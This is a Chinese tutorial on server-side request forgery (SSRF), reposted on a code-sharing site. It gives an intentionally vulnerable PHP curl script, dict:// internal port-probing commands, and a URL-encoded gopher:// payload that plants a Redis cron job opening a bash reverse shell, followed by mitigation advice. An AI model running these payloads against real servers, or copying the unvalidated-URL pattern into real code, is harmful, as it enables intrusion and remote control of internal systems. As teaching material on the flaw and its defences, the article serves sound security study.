web安全之 — SSRF攻击
漏洞简介
SSRF (Server-side Request Forge, 服务端请求伪造)
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是由于它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。
漏洞产生
因为服务端提供了从其余服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比方从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
举个栗子,漏洞代码ssrf.php:
<?php// 漏洞代码ssrf.php$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);curl_exec($ch); curl_close($ch); ?>
首先curl查看版本以及支持的协议
root@localhost :curl -Vcurl 7.54.0 (x86_64-apple-darwin17.0) libcurl/7.54.0 LibreSSL/2.0.20 zlib/1.2.11 nghttp2/1.24.0Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftpFeatures: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz HTTP2 UnixSockets HTTPS-proxy
可以看到该版本支持很多协议,其中dict协议、gopher协议、http/s协议以及file协议使用较为广泛。
- dict协议探测端口
curl -v 'http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'curl -v 'http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info'
- 利用gopher协议访问redis反弹shell
curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'`
同时 file_get_contents()
、fopen()
、fsocksopen()
均可能造成SSRF漏洞
漏洞防护
- 禁用不需要的协议,仅仅允许http和https请求,可以防止相似于file://, gopher://, ftp:// 等引起的问题。
- 服务端需要认证交互,禁止非正常客户访问服务;
- 过滤输入信息,永远不要相信誉户的输入,判断客户的输入能否是一个正当的URL地址
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法,假如web应用是去获取某一种类型的文件。那么在把返* 回结果展现给客户之前先验证返回的信息能否符合标准。
- 统一错误信息,避免客户可以根据错误信息来判断远端服务器的端口状态。
- 禁止30x跳转
- 设置URL白名单或者限制内网IP
说明
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是摆设,本站源码仅提供给会员学习使用!
7. 如遇到加密压缩包,请使用360解压,如遇到无法解压的请联系管理员
开心源码网 » web安全之 — SSRF攻击
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是摆设,本站源码仅提供给会员学习使用!
7. 如遇到加密压缩包,请使用360解压,如遇到无法解压的请联系管理员
开心源码网 » web安全之 — SSRF攻击